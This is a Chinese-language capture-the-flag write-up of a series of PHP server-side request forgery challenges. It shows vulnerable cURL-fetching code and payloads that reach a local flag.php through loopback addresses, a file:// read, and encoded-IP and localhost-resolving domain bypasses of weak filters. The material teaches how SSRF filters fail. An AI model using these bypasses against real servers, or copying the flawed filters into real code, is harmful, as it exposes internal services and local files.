web 351

题目如下:

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

$ch=curl_init($url);

初始化一个新的cURL会话。cURL库是一个强大的库,用于与各种类型的服务器进行数据传输。

curl_setopt($ch,CURLOPT_HEADER,0);

设置一个cURL选项,CURLOPT_HEADER为0表示不在输出包含HTTP请求。

curl_setopt($ch,CURLOPT_RETRUNTRANSFER,1);

设置一个cURL选项,CURLOPT_RETURNTRANSFER为1时表示将curl_exec()的返回值作为字符串返回,而不是直接输出到屏幕上。

$result=curl_exec($ch);

执行cURL会话,PHP服务器会向$url指定的地址发起一个HTTP请求,并将服务器返回的响应体内容存储在$result这个变量中。

curl_close($ch);

关闭cURL,释放资源。

1.本质上如果直接访问 http://ctf.example.com/flag.php,会返回403 Forbidden或404 Not Found。也就是说,从你的浏览器这个“外部视角”出发,你是拿不到flag的。

但服务器自己可以访问自己:

服务器上的服务(如Apache/Nginx)在监听 127.0.0.1:80 时,通常也允许来自本机自身的请求。

所以,当运行在 ctf.example.com 上的PHP脚本(你的攻击目标)去请求 http://127.0.0.1/flag.php 时,这个请求是发自本机,访问本机。

Web服务器(Apache/Nginx)会认为这是一个合法的内部请求,并正常地返回 flag.php 的内容。

payload:

url=http://localhost/flag.php

url=http://127.0.0.1/flag.php

url=file:///var/www/html/flag.php

web 352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

在这里先解释一下$x=parse_url($url);是什么意思。

parse_url() 函数接收一个字符串参数 $url(一个完整的网址),然后将其“拆解”成一个关联数组(或在某些模式下返回特定部分)。这个数组包含了 URL 中所有标准的部分,如协议、主机名、路径、查询字符串等。

如url=https://www.example.com:8080/path/to/page?name=alice&age=30#section1

那么这个parse_url函数会将该url拆解然后组成一个关联数组。

$x实际是如下的结果:
Array
(
    [scheme] => https
    [host] => www.example.com
    [port] => 8080
    [path] => /path/to/page
    [query] => name=alice&age=30
    [fragment] => section1
)

这里schema是协议,host是主机名/域名,port是端口号,path是路径,query是?之后的参数,fragment是片段,(哈希#之后的内容)。

#后面的内容(这里是 section1)不会被发送到服务器,它完全在浏览器端。

简单来说,URL中的 # 就像一个“页面内GPS坐标”。它告诉浏览器:“去这个地址,把页面拿回来,然后直接导航到这个页面的XX位置。” 服务器不参与这个“导航”过程。

接下来查看这道题,首先我们必须使用http或者https,那么我们第一可能想使用http://127.0.0.1/flag.php,但是发现if(!preg_match('/localhost|127.0.0/')),这句话乍一看好像过滤了localhost和127.0.0.1,但是没有为什么这样说呢。

正确的preg_match函数的使用方法应该是

if(!preg_match('/localhost|127.0.0/',$x['host'])),在x这个变量的关联数组中过滤localhost和127.0.0.1。题目中这样写没有指定在哪个变量里过滤,所有实际上没有过滤的作用。

所以paylaod:

http:127.0.0.1/flag.php

http:localhost/flag.php

但是如果真的过滤了呢?

那么可以使用下面的方法绕过。

常用绕过方式:

利用IP地址的不同表示法。

  1. 省略前面的零:

    • 127.0.0.1 -> 127.1

    • 127.0.0.1 -> 0.0.0.0 (在某些配置中指向本机)

  2. 十进制转换:

    • 将IP地址转换为一个十进制数。

    • 127.0.0.1

    • Payload: http://2130706433/flag.php

  3. 十六进制转换:

    • 将每个字节转换为十六进制。

    • 127.0.0.1 = 0x7f.0x00.0x00.0x01,常可省略点写成 0x7f000001。

    • Payload: http://0x7f000001/flag.php (cURL支持此格式)

  4. 八进制转换:

    • 将每个字节转换为八进制,通常前面加 0。

    • 127.0.0.1 = 0177.0.0.01

    • Payload: http://0177.0.0.01/flag.php (注意:新版本PHP/cURL可能已修复)

  5. 混合进制:

    • 127.0.0.1 -> 127.0.0.0x1 -> 127.0.0.1

    • 127.0.0.1 -> 0x7f.0.0.1

web 353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

payload:

url=http://127.1/flag.php

url=http://2130706433/flag.php

url=http://0x7f000001/flag.php

url=http://0177.0.0.01/flag.php

url=http://0x7f.0x00.0x00.0x01/flag.php

web 354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

payload:

url=http://localtest.me/flag.php

url=http://sudo.cc/flag.php

url=http://safe.taobao.com/flag.php

为什么localtest.me,sudo.cc,safe.taobao.com代表127.0.0.1或者0.0.0.0

能代表 127.0.0.1 或者0.0.0.0并不是因为任何技术巧合,而是其域名所有者人为地、故意地在DNS服务器上设置了这条解析规则。

web 355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

strlen($host)<=5)

判断变量 $host 所存储的字符串的长度是否小于或等于 5 个字符,其实就是判断域名或者主机名不能大于5。


payload:

url=http://127.1/flag.php   #是http://127.0.0.1/flag.php的简化形式。

url=http://0/flag.php          #在linux中0指向本机地址,它是http://0.0.0.0/flag.php的简化形式,事实上目前绝大部分服务器都是Linux操作系统,所以这个可能成功。

web 356

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

payload:

url=http://0/flag.php

更多推荐